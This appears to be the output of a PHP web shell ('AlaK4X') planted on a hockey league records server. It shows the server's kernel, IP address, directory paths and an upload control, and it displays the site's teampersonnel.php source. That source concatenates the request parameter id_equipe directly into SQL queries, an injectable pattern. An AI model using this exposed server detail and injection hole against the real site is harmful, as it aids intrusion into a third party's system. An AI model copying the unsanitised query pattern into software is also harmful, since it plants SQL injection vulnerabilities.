AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 18.217.10.152


Current Path : /var/www/lhjmq-records.qc.ca/public_html/lang_fr/teams/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/lang_fr/teams/teampersonnel.php

<?php

//Include non-standard libraries
include('../administration/lib/lists.php');
include('../administration/lib/locations.php');

//Get the team's administration personnel
$map_role_personnel = array(
	1=>121,
	2=>120,	
	3=>124,
	4=>123,
	5=>118,
	6=>122,
	7=>133,
	8=>132,
	9=>125
);

//Get teams in this league
//Loop each team and dump players in the sort array then sort it
$personnels = array();

//Get the players and the data
$list = list_getlist_by_priority($mysql_link, $id_equipe, 5); /*Personnel list*/

if (is_numeric($list['id']) && $list['id'] > 0) {
		
	
	if (isset($_GET['currentseason'])){
		$season = season_get($mysql_link, $_GET['currentseason']);

		$tmp_players = list_get_players($mysql_link, $list['id'], $season['date_start'], $id_equipe);
	}
	else
	{
		$tmp_players = list_get_players($mysql_link, $list['id'], date('Y-m-d'), $id_equipe);
	}
		
	
	//Sort it alpha cause its not done right now
	foreach ($tmp_players as $player) {
		if (in_array($player['histo_addeddata'], $map_role_personnel)) {
			//Addapt some data
			$player['location_file']['complete_address'] = address_makefulltitle($player['location_file'], 2, '-');
			
			//Build the sort key
			$sortmap = array_search($player['histo_addeddata'], $map_role_personnel);
			
			if (!is_numeric($sortmap)) {
				$sortmap = $player['histo_addeddata']+200;
			}
			
			//Add it
			$personnels[$sortmap] = $player;
		}
	}
}

ksort($personnels);
unset($tmpplayers, $player, $sep, $list);




$franchiseasons = @mysql_query($sql = "SELECT year( sys_date ) AS franc_year FROM equipes_hist WHERE `hist_parent` ='".$id_equipe."' GROUP BY year( sys_date )", $mysql_link);
$countfranchiseid = 0;
while ($franchiseason = @mysql_fetch_assoc($franchiseasons)) {
	
	if ($countfranchiseid == 0){
		$first_franchise_year = $franchiseason['franc_year'];	
	}
	
	$last_franchise_year = $franchiseason['franc_year'];
	
	$countfranchiseid = $countfranchiseid + 1;
}	

//echo $first_franchise_year . "<br>" . $last_franchise_year."<br>";

$franchisids = @mysql_query($sql = "SELECT id,date_start,date_end  FROM `seasons`  WHERE `season_type` =1 AND date_start >= '" . $first_franchise_year . "-06-01' AND date_start <= '" . ($last_franchise_year + 1) . "-06-01'", $mysql_link);



$showcheckplayers = "false";

$check_season_id = season_get_current_customize($mysql_link);

if ($season['id'] == $check_season_id['id'] ){
	$showcheckplayers = "true";
}


?>


<div id="pteam">

<br />

<?php include("teams/teamdata.php"); ?>

<table width="631" border="0" cellspacing="0" cellpadding="5">
	<tr>
		<td valign="top">

			<?php
				$result = mysql_fetch_assoc(mysql_query($sql = "SELECT * FROM lhjmq_variables WHERE id_var = '".$_GET[id_equipe]."-fr-equipes-personnel'", $mysql_link));
			?>
			
			<table width="589" border="0" cellspacing="0" cellpadding="0" align="center">
				<tr>
					<td class="team_title"><strong><br />Personnel <?= $iBeginYear.'-'.$iEndYear ?></strong></td>
				</tr>
				<tr>
					<td><hr class="shr" /></td>
				</tr>
				<tr>
					<td style="padding: 5px">
						<?= $result[var_text] ?>
					</td>
				</tr>
			</table>
		</td>
	</tr>
</table>
</div>

<?php

$footer_background_color = '#ececec';

?>